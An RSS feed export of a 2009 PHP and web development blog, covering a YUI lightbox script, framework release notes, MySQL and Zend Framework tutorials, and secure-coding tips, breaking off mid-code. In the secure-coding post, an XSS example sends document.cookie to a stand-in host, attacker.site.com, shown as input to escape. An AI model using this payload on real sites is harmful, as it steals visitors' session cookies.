<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>The Dave'nci Code</title>
	<link>http://davelozier.com</link>
	<description>Listening to Black Sabath at 78 speed...</description>
	<pubDate>Wed, 15 Jul 2009 03:13:24 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.1</generator>
	<language>en</language>
			<item>
		<title>YUI Simple LightBox using SimpleDialog</title>
		<link>http://davelozier.com/2009/07/14/yui-simple-lightbox/</link>
		<comments>http://davelozier.com/2009/07/14/yui-simple-lightbox/#comments</comments>
		<pubDate>Wed, 15 Jul 2009 03:08:54 +0000</pubDate>
		<dc:creator>Dave</dc:creator>
		
		<category><![CDATA[YUI]]></category>

		<guid isPermaLink="false">http://davelozier.com/2009/07/14/yui-simple-lightbox/</guid>
		<description><![CDATA[
There does not seem to be many options for lightbox functionality when it comes to YUI.  I&#8217;ve come across two so far and they both are great but they are also a bit heavier than I wanted. I really enjoy working with YUI, especially as my understanding of the framework grows. I wanted a [...]]]></description>
			<content:encoded><![CDATA[<p>
There does not seem to be many options for lightbox functionality when it comes to YUI.  I&#8217;ve come across two so far and they both are great but they are also a bit heavier than I wanted. I really enjoy working with YUI, especially as my understanding of the framework grows. I wanted a lightbox that had a small footprint, was easy to maintain and is as unabtrusive as possible. The YUI container family of components makes it quite easy to build your own lightbox by extending them as needed. I chose the <a href="http://developer.yahoo.com/yui/container/simpledialog/index.html">SimpleDialog</a> container for the foundation of my Simple Lightbox.
</p>
<blockquote><p>SimpleDialog extends Dialog and behaves like an operating system dialog (modal or non-modal). The look and feel of a SimpleDialog instance is similar to that of a Panel, but with SimpleDialog the user responds to a question with a single answer - OK/Cancel, Yes/No, and so on. Event handlers are attached to the buttons in a SimpleDialog instance to enable your script to respond to whatever choice the user has made.</p></blockquote>
<p>
To be as unobtrusive as possible I decided to use the <a href="http://www.bubbling-library.com/">Bubbling library</a>, created by Caridy Patino.
</p>
<blockquote><p>Javascript Bubbling Library is a set of plugins, behaviors and widgets, for building event-driven web applications using the bubble-up technique. The Bubbling Library also includes several plugins that can be used to extend the YUI Library to manage dynamic areas which are closely related with the event-driven philosophy. All components in the Bubbling Library have been released as open source under a BSD license and are free for all uses.</p></blockquote>
<p>
The Simple Lightbox code is under 4K uncompressed and less than 2.5K compressed. There are some basic requirements, HTML code wise, to allow thumbnail images to be gathered and displayed on a page. They very basic though and should be easy enough to implement on your own pages. In order for Simple Lightbox to use display your thumbnails you will need to have them wrapped with A tags with HREF attribute values linking to the larger image. These links also need to have a class value of &#8220;slbLink&#8221; so that they can be identified by the Bubbling library. Visitors without Javascript support will still be able to view the larger images so this degrades rather nicely. If the thumbnail image has an ALT attribute it will be used as the header for the large image display.
</p>
<blockquote><p><b>&lt;a href=&#8221;/path/to/larger/image.jpg&#8221; class=&#8221;slbLink&#8221;&gt;<br />&lt;img src=&#8221;/path/to/smaller/image.jpg&#8221; alt=&#8221;the big picture&#8221; /&gt;<br />&lt;/a&gt;</b></p></blockquote>
<p>Here is a small demonstration:</p>
<div id="container"><a href="/slbdemo/ccimages/at-the-lights.petecarr.jpg" class="slbLink"><img src="/slbdemo/ccimages/at-the-lights.petecarr_th.jpg" alt="At The Lights by %3Ca href=%22http://flickr.com/photos/petecarr/475437514/%22%3Epetecarr%3C/a%3E"></a> <a href="/slbdemo/ccimages/city-hall-building.hkmpua.jpg" class="slbLink"><img src="/slbdemo/ccimages/city-hall-building.hkmpua_th.jpg" alt="City Hall Building by %3Ca href=%22http://flickr.com/photos/hleung/490031147/%22%3Ehkmpua%3C/a%3E"></a> <a href="/slbdemo/ccimages/drowning-off-of-thoughts.teeje.jpg" class="slbLink"><img src="/slbdemo/ccimages/drowning-off-of-thoughts.teeje_th.jpg" alt="Drowning Off Of Thoughts by %3Ca href=%22http://flickr.com/photos/tjetjep/2536735879/%22%3ETeeJe%3C/a%3E"></a> <a href="/slbdemo/ccimages/her-world.zachstern.jpg" class="slbLink"><img src="/slbdemo/ccimages/her-world.zachstern_th.jpg" alt="Her World by %3Ca href=%22http://flickr.com/photos/zachstern/744774862/%22%3Ezachstern%3C/a%3E"></a> <a href="/slbdemo/ccimages/sunset-at-the-beach.ms4jah.jpg" class="slbLink"><img src="/slbdemo/ccimages/sunset-at-the-beach.ms4jah_th.jpg" alt="Sunset At The Beach by %3Ca href=%22http://flickr.com/photos/hotair2112/156351908/%22%3Ems4jah%3C/a%3E"></a> <a href="/slbdemo/ccimages/the-edge-of-the-storm.slack12.jpg" class="slbLink"><img src="/slbdemo/ccimages/the-edge-of-the-storm.slack12_th.jpg" alt="The Edge Of The Storm by %3Ca href=%22http://flickr.com/photos/slack12/1087014722/%22%3Eslack12%3C/a%3E"></a> <a href="/slbdemo/ccimages/the-sun-sets-on-chateau-de-chillon.pear.biter.jpg" class="slbLink"><img src="/slbdemo/ccimages/the-sun-sets-on-chateau-de-chillon.pear.biter_th.jpg" alt="The Sun Sets On Chateau de Chillon by %3Ca href=%22http://flickr.com/photos/pearbiter/566128230/%22%3Epear biter%3C/a%3E"></a> <a href="/slbdemo/ccimages/weekend-inspiration.muha.jpg" class="slbLink"><img src="/slbdemo/ccimages/weekend-inspiration.muha_th.jpg" alt="Weekend Inspiration by %3Ca href=%22http://www.flickr.com/photos/muha/1061897539/%22%3Emuha%3C/a%3E"></a>
</div>
<p>And here is the code:</p>
<pre>&lt;script type=&quot;text/javascript&quot;&gt;
/*
Copyright (c) 2009, Dave Lozier
Code licensed under the BSD License:
http://davelozier.com/bsd/license.txt
version: 1.0
*/
YAHOO.namespace(&quot;simpleLightbox&quot;);
var myLightbox = function () {
	var Event = YAHOO.util.Event, Dom = YAHOO.util.Dom, currentThumb, slbActive = false, slbDisplay;
	var slblinks = Dom.getElementsByClassName('slbLink', 'a');

	var fadeIn = function() {
		var ani = new YAHOO.util.Anim(slbDisplay , { opacity: {from: 0, to: 1 } }, .5, YAHOO.util.Easing.easeOut);
		ani.animate();
	}

	var showImage = function (obj,header) {
		var vpw = Dom.getViewportWidth() - 50;
		var vph = Dom.getViewportHeight() - 100;
		if (obj.width &gt; vpw || obj.height &gt; vph){
			var objRatio = obj.width / obj.height;
			var vpRatio = vpw / vph;
			if (objRatio &lt;= vpRatio) {
				obj.height = vph;
				obj.width = obj.width * (vph / obj.height);
			} else {
				obj.width = vpw;
				obj.height = obj.height * (vpw / obj.width);
			}
		}
		YAHOO.simpleLightbox.photoViewer.cfg.setProperty('width', (obj.width + 20)  + 'px');
		YAHOO.simpleLightbox.photoViewer.setHeader(unescape(header));
		Dom.setStyle(slbDisplay,'width', obj.width+'px');
		Dom.setStyle(slbDisplay,'height', obj.height+'px');
		Dom.setStyle(slbDisplay,'background', 'url('+obj.src+') no-repeat');
		YAHOO.simpleLightbox.photoViewer.center();
		if (slbActive == false) {
			slbActive = true;
			YAHOO.util.Dom.setStyle(slbDisplay, 'opacity', '1');
			YAHOO.simpleLightbox.photoViewer.show();
		} else {
			fadeIn();
		}
	}

	var fadeOut = function(obj,header) {
		if (slbActive == true) {
			var ani = new YAHOO.util.Anim(slbDisplay , { opacity: {from: 1, to: 0 } }, .5, YAHOO.util.Easing.easeOut);
			ani.animate();
			ani.onComplete.subscribe(function(){showImage(obj,header)});
		} else {
			showImage(obj,header);
		}
	}

	var loadImage = function(el) {
		if (el.src &#038;&#038; el.src != '') {
			currentThumb = el.src;
			var imageSrc = el.parentNode.href;
			var header = (el.alt != null) ? el.alt : '';
			var objImage = new Image();
			Event.on(objImage, 'load', function(){fadeOut(objImage,header);});
			objImage.src = imageSrc;
		}
	}

	var prevThumb = function() {
		for (i=0; i&lt;slblinks.length; i++) {
			if (slblinks[i].firstChild.src == currentThumb) {
				if (i == 0) {
					i = slblinks.length-1;
				} else {
					i = i - 1;
				}
				loadImage(slblinks[i].firstChild);
				break;
			}
		}
	}

	var nextThumb = function() {
		for (i=0; i&lt;slblinks.length; i++) {
			if (slblinks[i].firstChild.src == currentThumb) {
				if (i == slblinks.length-1) {
					i = 0;
				} else {
					i = i + 1;
				}
				loadImage(slblinks[i].firstChild);
				break;
			}
		}
	}

	var hideMe = function() {
		slbActive = false;
		this.hide();
	}

	YAHOO.simpleLightbox.photoViewer = new YAHOO.widget.SimpleDialog(&quot;photoViewer&quot;,{
		width: &quot;300px&quot;,
		fixedcenter: true,
		visible: false,
		draggable: false,
		close: false,
		modal: true,
		text: '&lt;div id=&quot;slbDisplay&quot;&gt;&lt;/div&gt;',
		constraintoviewport: true,
		effect: [ {effect:YAHOO.widget.ContainerEffect.FADE,duration:0.5} ],
		buttons: [ { text:&quot;Prev&quot;, handler:prevThumb },{ text:&quot;Next&quot;, handler:nextThumb },{ text:&quot;Close&quot;, handler:hideMe, isDefault:true } ]
	});

	YAHOO.simpleLightbox.photoViewer.setHeader('Simple Lightbox');
	YAHOO.simpleLightbox.photoViewer.render(&quot;container&quot;);
	slbDisplay = Dom.get('slbDisplay');

	YAHOO.Bubbling.addDefaultAction('slbLink',
		function (layer, args) {
			loadImage(args[1].target);
			return true;
		}
	);
}
YAHOO.util.Event.addListener(window, &quot;load&quot;, myLightbox);
&lt;/script&gt;</pre>
<p>View this demo on a <a href="http://davelozier.com/slbdemo/index.html" target="_blank">new page</a> or <a href="http://davelozier.com/slbdemo/slbdemo.zip">download the demo</a> and use on your own pages. Enjoy!</p>
]]></content:encoded>
			<wfw:commentRss>http://davelozier.com/2009/07/14/yui-simple-lightbox/feed/</wfw:commentRss>
		</item>
		<item>
		<title>PHP 5.3 Released!</title>
		<link>http://davelozier.com/2009/06/30/php-53-released/</link>
		<comments>http://davelozier.com/2009/06/30/php-53-released/#comments</comments>
		<pubDate>Tue, 30 Jun 2009 15:25:19 +0000</pubDate>
		<dc:creator>Dave</dc:creator>
		
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://davelozier.com/2009/06/30/php-53-released/</guid>
		<description><![CDATA[PHP 5.3 has been released. Also, Eclipse Galileo was recently released as well as PDT 2.1 which has support for PHP 5.3!
       The PHP development team is proud to announce the immediate release of PHP       5.3.0.       This [...]]]></description>
			<content:encoded><![CDATA[<p>PHP 5.3 has been released. Also, Eclipse Galileo was recently released as well as PDT 2.1 which has support for PHP 5.3!</p>
<blockquote><p>       The PHP development team is proud to announce the immediate release of PHP       <a href="http://php.net/downloads.php#v5.3.0">5.3.0</a>.       This release is a major improvement in the 5.X series, which includes a       large number of new features and bug fixes.</p>
<p>Some of the key new features include:       <a href="http://php.net/namespaces">namespaces</a>,       <a href="http://php.net/lsb">late static binding</a>,       <a href="http://php.net/closures">closures</a>,       optional <a href="http://php.net/gc_enable">garbage collection</a> for cyclic references,       new extensions (like <a href="http://php.net/phar">ext/phar</a>,       <a href="http://php.net/intl">ext/intl</a> and       <a href="http://php.net/fileinfo">ext/fileinfo</a>),       over 140 bug fixes and much more.</p>
<p>For users upgrading from PHP 5.2 there is a       <a href="http://php.net/migration53">migration guide</a>       available here, detailing the changes between those       releases and <a href="http://php.net/downloads.php#v5.3.0">PHP 5.3.0</a>.</p>
<p>Further details about the       <a href="http://php.net/downloads.php#v5.3.0">PHP 5.3.0</a> release       can be found in the       <a href="http://php.net/releases/5_3_0.php">release announcement</a>,       and the full list of changes are available in the       <a href="http://php.net/ChangeLog-5.php">ChangeLog</a>.</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://davelozier.com/2009/06/30/php-53-released/feed/</wfw:commentRss>
		</item>
		<item>
		<title>New PHP Intepreter-Based XSS and SQL Security Tester</title>
		<link>http://davelozier.com/2009/06/19/php-xss-and-sql-exploit-testing/</link>
		<comments>http://davelozier.com/2009/06/19/php-xss-and-sql-exploit-testing/#comments</comments>
		<pubDate>Fri, 19 Jun 2009 17:20:34 +0000</pubDate>
		<dc:creator>Dave</dc:creator>
		
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://davelozier.com/2009/06/19/php-xss-and-sql-exploit-testing/</guid>
		<description><![CDATA[Researchers from MIT, Stanford and Syracuse have developed a program named &#8220;Ardilla&#8221; which can analyze PHP code for Cross-Site Scripting (XSS) and SQL injection attack vulnerabilities. The researchers say Ardilla found 68 never-before found vulnerabilities in five different PHP applications using the tool &#8212; 23 SQL injection and 45 XSS flaws.
Ardilla is an automated tool [...]]]></description>
			<content:encoded><![CDATA[<p>Researchers from MIT, Stanford and Syracuse have developed a program named &#8220;Ardilla&#8221; which can analyze PHP code for Cross-Site Scripting (XSS) and SQL injection attack vulnerabilities. The researchers say Ardilla found 68 never-before found vulnerabilities in five different PHP applications using the tool &#8212; 23 SQL injection and 45 XSS flaws.</p>
<blockquote><p>Ardilla is an automated tool that generates concrete attack vectors for Web applications written in PHP,&#8221; the researchers say. &#8220;The user of Ardilla needs to specify the type of attack (SQLI, first order XSS, or second-order XSS), the PHP program to analyze, and the initial database state.</p></blockquote>
<p>Read more about this here:<br />
<a href="http://www.darkreading.com/security/app-security/showArticle.jhtml?articleID=218100143">PHP XSS and SQL Exploit Testing</a></p>
]]></content:encoded>
			<wfw:commentRss>http://davelozier.com/2009/06/19/php-xss-and-sql-exploit-testing/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Zend Framework 1.8.2 Released</title>
		<link>http://davelozier.com/2009/05/27/zend-framework-182/</link>
		<comments>http://davelozier.com/2009/05/27/zend-framework-182/#comments</comments>
		<pubDate>Thu, 28 May 2009 00:24:36 +0000</pubDate>
		<dc:creator>Dave</dc:creator>
		
		<category><![CDATA[zend framework]]></category>

		<guid isPermaLink="false">http://davelozier.com/2009/05/27/zend-framework-182/</guid>
		<description><![CDATA[This is a maintenance release but well worth upgrading to of course.
The Zend Framework team is pleased to announce the immediate
availability of the 1.8.2 release. This release is the second
maintenance release in the 1.8 series.  Fixes for this release focus on
Zend_Db and autoloading improvements. In all, over 50 issues were closed
for the release.
With the introduction [...]]]></description>
			<content:encoded><![CDATA[<p>This is a maintenance release but well worth upgrading to of course.</p>
<blockquote><p>The Zend Framework team is pleased to announce the immediate<br />
availability of the 1.8.2 release. This release is the second<br />
maintenance release in the 1.8 series.  Fixes for this release focus on<br />
Zend_Db and autoloading improvements. In all, over 50 issues were closed<br />
for the release.</p>
<p>With the introduction of Zend_Loader_Autoloader in 1.8.0, a number of<br />
issues related to autoloading could finally be closed. All cases where<br />
Zend_Loader::loadClass() was hard-coded into the framework were modified<br />
to check for class_exists() first, to trigger the autoloader. This<br />
should make writing custom adapters and plugins an easier task.</p>
<p>For a full list of closed issues, you can visit:<br />
<a href="http://framework.zend.com/changelog/1.8.2">http://framework.zend.com/changelog/1.8.2</a></p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://davelozier.com/2009/05/27/zend-framework-182/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Zend Framework 1.8.0 released!</title>
		<link>http://davelozier.com/2009/04/30/zend-framework-180-released/</link>
		<comments>http://davelozier.com/2009/04/30/zend-framework-180-released/#comments</comments>
		<pubDate>Thu, 30 Apr 2009 21:10:25 +0000</pubDate>
		<dc:creator>Dave</dc:creator>
		
		<category><![CDATA[zend framework]]></category>

		<guid isPermaLink="false">http://davelozier.com/2009/04/30/zend-framework-180-released/</guid>
		<description><![CDATA[Zend Framework 1.8.0 has been released. This is the first in the 1.8 series of releases. You can get it here:
http://framework.zend.com/download/latest
Over 200 bug and feature fixes have been added for this minor
release!
Here is list of the primary feature additions for Zend Framework 1.8.0:

Zend_Tool, contributed by Ralph Schindler
Zend_Application, contributed by Ben Scholzen and Matthew Weier O&#8217;Phinney
Zend_Loader_Autoloader [...]]]></description>
			<content:encoded><![CDATA[<p>Zend Framework 1.8.0 has been released. This is the first in the 1.8 series of releases. You can get it here:</p>
<p><a href="http://framework.zend.com/download/latest">http://framework.zend.com/download/latest</a></p>
<p>Over 200 bug and feature fixes have been added for this minor<br />
release!</p>
<p>Here is list of the primary feature additions for Zend Framework 1.8.0:</p>
<ul>
<li>Zend_Tool, contributed by Ralph Schindler</li>
<li>Zend_Application, contributed by Ben Scholzen and Matthew Weier O&#8217;Phinney</li>
<li>Zend_Loader_Autoloader and Zend_Loader_Autoloader_Resource, contributed by Matthew Weier O&#8217;Phinney</li>
<li>Zend_Navigation, contributed by Robin Skoglund</li>
<li>Zend_CodeGenerator, by Ralph Schindler</li>
<li>Zend_Reflection, Ralph Schindler and Matthew Weier O&#8217;Phinney</li>
<li>Zend Server backend for Zend_Cache, contributed by Alexander Veremyev</li>
<li>Zend_Service_Amazon_Ec2, contributed by Jon Whitcraft</li>
<li>Zend_Service_Amazon_S3, Justin Plock and Stas Malyshev</li>
<li>Incorporated Dojo 1.3</li>
<li>Added support for arbitrary Dojo Dijits via view helpers</li>
<li>Zend_Filter_Encrypt, contributed by Thomas Weidner</li>
<li>Zend_Filter_Decrypt, contributed by Thomas Weidner</li>
<li>Zend_Filter_LocalizedToNormalized and _NormalizedToLocalized, contributed by Thomas Weidner</li>
<li>Support for file upload progress support in Zend_File_Transfer, contributed by Thomas Weidner</li>
<li>Translation-aware routes, contributed by Ben Scholzen</li>
<li>Route chaining capabilities, contributed by Ben Scholzen</li>
<li>Zend_Json expression support, contributed by Benjamin Eberlei and Oscar Reales</li>
<li>Zend_Http_Client_Adapter_Curl, contributed by Benjamin Eberlei</li>
<li>SOAP input and output header support, contributed by Alexander Veremyev</li>
<li>Support for keyword field search using query strings, contributed by Alexander Veremyev</li>
<li>Support for searching across multiple indexes in Zend_Search_Lucene, contributed by Alexander Veremyev</li>
<li>Significant improvements for Zend_Search_Lucene search result match highlighting capabilities, contributed by Alexander Veremyev</li>
<li>Support for page scaling, shifting and skewing in Zend_Pdf, contributed by Alexander Veremyev</li>
<li>Zend_Tag_Cloud, contributed by Ben Scholzen</li>
<li>Locale support in Zend_Validate_Int and Zend_Validate_Float, contributed by Thomas Weidner</li>
<li>Phonecode support in Zend_Locale, contributed by Thomas Weidner</li>
<li>Zend_Validate_Db_RecordExists and _RecordNotExists, contributed by Ryan Mauger</li>
<li>Zend_Validate_Iban, contributed by Thomas Weidner</li>
<li>Zend_Validate_File_WordCount, contributed by Thomas Weidner</li>
</ul>
<p>I&#8217;m looking forward to using this right away! How soon will you be digging in?</p>
]]></content:encoded>
			<wfw:commentRss>http://davelozier.com/2009/04/30/zend-framework-180-released/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Create a MySQL Database from the Command Line</title>
		<link>http://davelozier.com/2009/04/08/create-mysql-database-command-line/</link>
		<comments>http://davelozier.com/2009/04/08/create-mysql-database-command-line/#comments</comments>
		<pubDate>Thu, 09 Apr 2009 02:38:46 +0000</pubDate>
		<dc:creator>Dave</dc:creator>
		
		<category><![CDATA[mysql]]></category>

		<guid isPermaLink="false">http://davelozier.com/2009/04/08/create-mysql-database-command-line/</guid>
		<description><![CDATA[Every now and then I find myself needing to create a MySQL database while on the command line. Often it is just as fast or faster than loading up another program or accessing phpMyAdmin in a browser. So, first things first, we need to connect to the database:
mysql -u root -p
MySQL will prompt for the [...]]]></description>
			<content:encoded><![CDATA[<p>Every now and then I find myself needing to create a MySQL database while on the command line. Often it is just as fast or faster than loading up another program or accessing phpMyAdmin in a browser. So, first things first, we need to connect to the database:</p>
<blockquote><p>mysql -u root -p</p></blockquote>
<p>MySQL will prompt for the root password. Once your logged on you can issue the following command:</p>
<blockquote><p>CREATE DATABASE databasename;</p></blockquote>
<p>Next we need to give a user access to the new database:</p>
<blockquote><p>GRANT INSERT, DELETE, UPDATE, SELECT<br />
ON databasename.*<br />
TO &#8216;username&#8217;@'localhost&#8217; IDENTIFIED BY &#8216;password&#8217;;</p></blockquote>
<p>Where &#8216;databasename&#8217; is the name of the database we created, &#8216;username&#8217; is the account allowed to access this database, &#8216;localhost&#8217; is the host this user is allowed to connect from, &#8216;password&#8217; is the password required for this user.</p>
<p>To activate the new permissions, issue the following command:</p>
<blockquote><p>FLUSH PRIVILEGES;</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://davelozier.com/2009/04/08/create-mysql-database-command-line/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Getting Started With Zend Framework</title>
		<link>http://davelozier.com/2009/03/22/zend-framework-hello-world/</link>
		<comments>http://davelozier.com/2009/03/22/zend-framework-hello-world/#comments</comments>
		<pubDate>Mon, 23 Mar 2009 02:32:25 +0000</pubDate>
		<dc:creator>Dave</dc:creator>
		
		<category><![CDATA[zend framework]]></category>

		<category><![CDATA[hello world]]></category>

		<category><![CDATA[zend]]></category>

		<guid isPermaLink="false">http://davelozier.com/2009/03/22/zend-framework-hello-world/</guid>
		<description><![CDATA[The Zend Framework library is based around the MVC (Model, View, Controller) and Front Controller design patterns. The Front Controller is the point of entry for all requests that are NOT being served up directly by your web server. Such requests include style sheets, javascript, images and other static files. Zend Framework implements the front [...]]]></description>
			<content:encoded><![CDATA[<p>The Zend Framework library is based around the MVC (Model, View, Controller) and Front Controller design patterns. The Front Controller is the point of entry for all requests that are NOT being served up directly by your web server. Such requests include style sheets, javascript, images and other static files. Zend Framework implements the front controller pattern with a number of subcomponents. The main components are the router and the dispatcher. The router determines what action to take and the dispatcher runs the requested action or actions.</p>
<p>The MVC portion of the framework is where we create the code needed for our application. The model part contains the bulk of the business-logic code. Tasks such as retrieving and storing data in a database are done by the model. Zend Framework provides the Zend_Db_Table component for easy table-level interaction with the database. Other components that make developing the model portion of MVC easy are provided by Zend_Service. The View is the display logic. This is where the templates containing HTML code for your website is displayed. The controller contains the rest of the code that makes up the application.</p>
<p>To get started, we&#8217;ll download the <a href="http://framework.zend.com/download/latest">latest Zend Framework release</a>. Zend Framework assumes that the library directory is available in the php_include path. I prefer to store ZF outside of this to keep environments isolated from one another. (eg. /var/www/example.com/library) We&#8217;ll also need to add some rewrite rules to our httpd.conf file. If your running Ubuntu or other Debian derivative it should be located at /etc/apache2/httpd.conf</p>
<pre>&lt;Directory /var/www/example.com/public&gt;
RewriteEngine on
RewriteRule !^.*\..*$ /index.php
&lt;/Directory&gt;</pre>
<p>What this rule is saying is that if the request does not contain a dot . send it to our controller. This will allow any static file request to bypass the controller and be delivered up by the web server directly.  There are other rules that could be used here such as checking if %{REQUEST_FILENAME} exists, is a directory or is a link with a rewrite condition then proceeding to the rewrite rule if none of these conditions apply. To me this seems a bit excessive as more CPU and I/O time will be spent on each request to validate these conditions.</p>
<p>Next we need to create our bootstrap file.  This file initializes and configures our application. This will be the only PHP file needed in our public directory so it is often named index.php.</p>
<pre>&lt;?php
error_reporting(0);
date_default_timezone_set('America/Chicago');
define('ROOT_DIR','/var/www/example.com/');
set_include_path(ROOT_DIR . '/library' . PATH_SEPARATOR . get_include_path());
require_once 'Zend/Loader.php';
Zend_Loader::loadClass('Zend_Controller_Front');// set up the front controller
$frontController = Zend_Controller_Front::getInstance();
$frontController-&gt;setControllerDirectory(ROOT_DIR . '/application/controllers');
$frontController-&gt;dispatch();</pre>
<p>With Zend Framework&#8217;s front controller, the dispatcher expects to find a file called IndexController.php in the /var/www/example.com/application/controllers directory.</p>
<pre>&lt;?php
class IndexController extends Zend_Controller_Action
{
    public function indexAction()
    {
        $this-&gt;view-&gt;assign('title','Hello World!');
    }
}</pre>
<p>The indexAction() function assigns the &#8216;title&#8217; varaible to the view property by the action helper Zend_Controller_Action_ViewRenderer. The ViewRenderer looks in the /var/www/example.com/application/views/scripts directory for a template file named after the action with a .phtml extension, within a folder named after the controller. This means it will look for /var/www/example.com/application/views/scripts/index/index.phtml</p>
<pre>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&gt;
&lt;html dir="ltr" lang="en"&gt;
&lt;head&gt;
&lt;meta http-equiv="Content-Type" content="text/html;charset=utf-8"&gt;
&lt;title&gt;
&lt;?php echo $this-&gt;escape($this-&gt;title); ?&gt;
&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;h1&gt;
&lt;?php echo $this-&gt;escape($this-&gt;title); ?&gt;
&lt;/h1&gt;
&lt;/body&gt;
&lt;/html&gt;</pre>
<p>The helper function escape() ensures that output is HTML safe. That is, it helps secure your site from XSS (cross site scripting) attacks. You should now be able to load up your example.com site and be greeted with Hello World! via the Zend Framework.</p>
]]></content:encoded>
			<wfw:commentRss>http://davelozier.com/2009/03/22/zend-framework-hello-world/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Zend Filter StripTags XSS Vulnerability</title>
		<link>http://davelozier.com/2009/03/20/zend-filter-striptags-xss/</link>
		<comments>http://davelozier.com/2009/03/20/zend-filter-striptags-xss/#comments</comments>
		<pubDate>Fri, 20 Mar 2009 21:32:40 +0000</pubDate>
		<dc:creator>Dave</dc:creator>
		
		<category><![CDATA[zend framework]]></category>

		<guid isPermaLink="false">http://davelozier.com/2009/03/20/zend-filter-striptags-xss/</guid>
		<description><![CDATA[Just a heads up to those using the Zend Framework. Wil Sinclair posted the following to the Zend Framework announcements mailing list:
The Zend Framework team was recently notified of an XSS attack vector in its Zend_Filter_StripTags class. Zend_Filter_StripTags offers the ability to strip HTML tags from text, but also to selectively choose which tags and [...]]]></description>
			<content:encoded><![CDATA[<p>Just a heads up to those using the Zend Framework. Wil Sinclair posted the following to the Zend Framework announcements mailing list:</p>
<blockquote><p>The Zend Framework team was recently notified of an XSS attack vector in its Zend_Filter_StripTags class. Zend_Filter_StripTags offers the ability to strip HTML tags from text, but also to selectively choose which tags and specific attributes of those tags to keep. The XSS attack vector was due to a bug in matching HTML tag attributes to retain. If whitespace was introduced surrounding the attribute assignment operator or the value included newline characters, the attribute would always be included in the final output- even if it was not marked to retain. A security fix has been created and released with Zend Framework 1.7.7. Additionally, the fix has been back-ported to the 1.6, 1.5, and 1.0 release branches. The Zend Framework team strongly recommends upgrading to version 1.7.7. If you cannot upgrade at this time, we recommend exporting from the release branch matching the minor release you are currently using, or downloading the file listed below and pushing it into your Zend Framework installation.</p>
<p><a href="http://framework.zend.com/svn/framework/standard/branches/release-1.7/library/Zend/Filter/StripTags.php"> http://framework.zend.com/svn/framework/standard/branches/release-1.7/library/Zend/Filter/StripTags.php</a></p>
<p>Thank you.   ,Wil</p></blockquote>
<p>I&#8217;ve been digging into the Zend Framework lately and if you are looking to develop commercial sites quickly with a solid foundation I highly recommend doing so with the Zend Framework.</p>
]]></content:encoded>
			<wfw:commentRss>http://davelozier.com/2009/03/20/zend-filter-striptags-xss/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Coding Mistakes PHP Newbies Make</title>
		<link>http://davelozier.com/2009/03/11/coding-mistakes-php-newbies-make/</link>
		<comments>http://davelozier.com/2009/03/11/coding-mistakes-php-newbies-make/#comments</comments>
		<pubDate>Thu, 12 Mar 2009 02:42:42 +0000</pubDate>
		<dc:creator>Dave</dc:creator>
		
		<category><![CDATA[php]]></category>

		<category><![CDATA[mistakes]]></category>

		<category><![CDATA[newbies]]></category>

		<guid isPermaLink="false">http://davelozier.com/2009/03/11/coding-mistakes-php-newbies-make/</guid>
		<description><![CDATA[1. Never trust user input! Doing so can lead to security issues such a hijacked sessions, SQL injection and your entire site being compromised. This goes for all of the PHP superglobals such as $_SERVER and not just $_GET, $_POST and $_REQUEST arrays. The only exception would be the $_SESSION superglobal as this persists on [...]]]></description>
			<content:encoded><![CDATA[<p><strong>1. </strong>Never trust user input! Doing so can lead to security issues such a hijacked sessions, SQL injection and your entire site being compromised. This goes for all of the PHP superglobals such as $_SERVER and not just $_GET, $_POST and $_REQUEST arrays. The only exception would be the $_SESSION superglobal as this persists on the server side. With PHP 5, There are many functions available to help ensure that you are getting what you expected.</p>
<p>If your expecting numbers only you can use ctype_digit():</p>
<pre>if (!ctype_digit($_POST['id'])) {

    exit("Numbers Only Please!");

}</pre>
<p>There are other ctype_* functions for input validation such as ctype_alpha() for letters only and ctype_alnum() for leters and numbers only. PHP 5 also provides several filter functions to validate data with. If script is expecting an email address you can check that it is properly formatted in this manner:</p>
<pre>if (!filter_var($_POST['email'], FILTER_VALIDATE_EMAIL)) {

    exit("Valid Email Only Please!");

}</pre>
<p><strong>2.</strong> Filter your output! If you are storing data received from one of your users such as a forum post you need to make this data safe for displaying to other users. By using htmlspecialchars() or the more thorough htmlentities() functions you can avoid problems that come from embeded javascript, meta redirects and more.</p>
<p>Incoming text such as this:</p>
<blockquote><p>Hello World! &lt;script&gt;document.write(&#8217;&lt;img src=&#8221;http://attacker.site.com/getcookie.php?&#8217;+document.cookie+&#8217;&#8221; width=&#8221;1&#8243; height=&#8221;1&#8243; /&gt;&#8217;);&lt;/script&gt;</p></blockquote>
<p>Will be displayed exactly as shown above using PHP&#8217;s htmlentities():</p>
<pre>$message = htmlentities($_POST['message'], ENT_QUOTES, 'UTF-8');

echo $message;</pre>
<p>Of course filtering this data is best done prior to storing it in the database so that you do not have to filter it every time it is displayed there after.</p>
<p><strong>3. </strong>Escape all database input! Before inserting information such as a forum post into your database make sure it is safe to do so. The *_escape_string() function available from the various PHP database drivers will prevent SQL injection attacks from being successful. For MySQL there is mysql_real_escape_string() or for PostgreSQL use pg_escape_string(). Simply using addslashes() may not be enough depending on the character set being used. SQL injection may still be possible with multi byte-characters. Another way to keep SQL injection attacks from being successful is to use prepared statements. PHP 5.1 and greater includes PHP Data Objects (PDO) which will not only use driver supplied prepared statement methods but also emulate them for those that do not. A prepared statement uses a &#8220;place holder&#8221; in your SQL statement for which an assigned value will be given after it has been safely escaped by PDO.</p>
<p>This is an example of a named place holder:</p>
<pre>$query = "SELECT * FROM users WHERE username = :username AND password = :password";

$stmt = $dbh-&gt;prepare($query);

